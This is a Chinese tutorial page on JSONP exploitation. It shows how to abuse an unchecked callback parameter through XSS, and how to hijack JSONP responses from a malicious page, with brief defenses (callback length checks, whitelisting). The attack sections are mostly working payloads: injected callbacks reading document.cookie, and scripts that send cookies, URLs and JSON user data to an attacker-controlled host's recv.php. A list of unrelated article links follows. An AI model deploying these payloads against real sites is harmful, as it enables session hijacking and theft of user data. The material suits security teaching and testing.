当前位置: 首页 > news >正文

JSONP 跨域访问(2), JSONP劫持

JSONP 跨域访问(2), JSONP劫持

一, 利用 XSS 漏洞执行jsonp

1. 利用过程

发现有jsonp的请求:

<script type="text/javascript" 
src="http://192.168.112.200/security/jsonp.php?callback=jsonpCallback"></script>

向xss漏洞的位置注入代码:

<script type="text/javascript" 
src="http://192.168.112.200/security/jsonp.php?callback=alert(1);//"></script><script type="text/javascript" 
src="http://192.168.112.200/security/jsonp.php?callback=document.cookie;//"></script>

如果能弹窗说明服务器没有对回调函数的名称做检查, 那么 callback 后面可以执行其他js代码.

<script type="text/javascript" src="http://192.168.112.200/security/jsonp.php
?callback=location.href='http://192.168.112.202/recv.php?
cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href;//">
</script>

在这段代码中的 %2B%26URL编码后的字符。
%2B 代表加号(+),在URL中用于表示空格或连接字符串。
%26 代表和号(&),在URL中通常用来连接多个参数。

'%2Bdocument.cookie%2B' 会被解析为连接 document.cookie (当前页面的cookie信息)到字符串中,相当于 +document.cookie+
'%26url='%2Blocation.href 是将 &url= 字符串连接到 location.href (当前页面的URL)。

当浏览器执行这段脚本时,它会请求 jsonp.php 文件,并传递一个 callback 参数。服务器应该响应一个调用该回调函数的JavaScript代码,其中包含了服务端希望在客户端执行的代码。

攻击者服务器(在这个案例中是 http://192.168.112.202/recv.php)会接收到包含用户cookie的请求,这样攻击者就可能会窃取用户的会话信息。

2. 防御手段

对传递到后端的回调函数名的长度进行判断
利用白名单限制回调函数的名称

二, 利用CSRF漏洞, 构造恶意网站劫持JSONP请求

如果后端限制了callback 函数名, 那么可以伪造html页面绕过检查, 执行恶意代码.

编写一个html页面, 用目标网站相同的回调函数执行自己的代码.

<script type="text/javascript">// 回调函数function jsonpCallback(data) {location.href = "http://192.168.112.202/recv.php?value=" + JSON.stringify(data) + "&referer=" + document.referrer;}
</script>
<script type="text/javascript" 
src="http://192.168.112.200/security/jsonp.php?callback=jsonpCallback"></script>

上面这段代码向目标200网站发送jsonp请求, 调用与200网站上相同的函数 jsonpCallback, 绕过了服务器对回调函数的检查.
函数执行自己的代码, 向攻击者202服务器请求recv.php, 攻击者可以利用这个脚本保存发送过来的用户数据.

当用户访问恶意html页面时, 向200服务器发送jsonp请求, 并将请求到的用户数据发送到202服务器上.

http://www.lryc.cn/news/221194.html

相关文章:

  • 【java】实现自定义注解校验——方法一
  • JavaScript基础入门03
  • P1903 [国家集训队] 数颜色 / 维护队列
  • uniapp 请求接口的方式
  • 怎么查看当前vue项目,要求的node.js版本
  • QT5自适应
  • 蓝桥杯官网练习题(日期问题)
  • PDF文件解析
  • 初识微服务技术栈
  • windows 下运行正常,但是linux下报错 : Could not find or load main class
  • MySQL 数据目录和 InnoDB 表空间补充知识:详细结构
  • 移远EC600U-CN开发板 day02
  • visual studio Python 配置QGIS(qgis)教程
  • 第二证券:消费电子概念活跃,博硕科技“20cm”涨停,天龙股份斩获10连板
  • petalinux 2022.2 在 ubantu18.04 下的安装
  • 【进程与线程】进程与线程 QA
  • 电脑风扇控制软件 Macs Fan Control Pro mac中文版功能介绍
  • 【13】c++11新特性 —>call_once
  • 解决logstash插件logstash-outputs-mongodb一条数据失败后一直重复尝试
  • 【网络协议】聊聊HTTPDNS如何工作的
  • TikTok与老年用户:社交媒体的跨代交流
  • 如何在Linux机器上使用ssh远程连接Windows Server服务器
  • NLP常见任务的分类指标
  • node插件express(路由)的插件使用(二)——body-parser和ejs插件的基本使用
  • 学习c++的第十天
  • 895. 最长上升子序列
  • 岩土工程铁路桥梁监测中智能振弦传感器的应用方案
  • 【数智化人物展】觉非科技CEO李东旻:数据闭环,智能驾驶数智时代发展的新引擎...
  • 字符型液晶显示器LCD 1602的显示控制(Keil+Proteus)
  • 为什么我学了几天 STM32 感觉一脸茫然?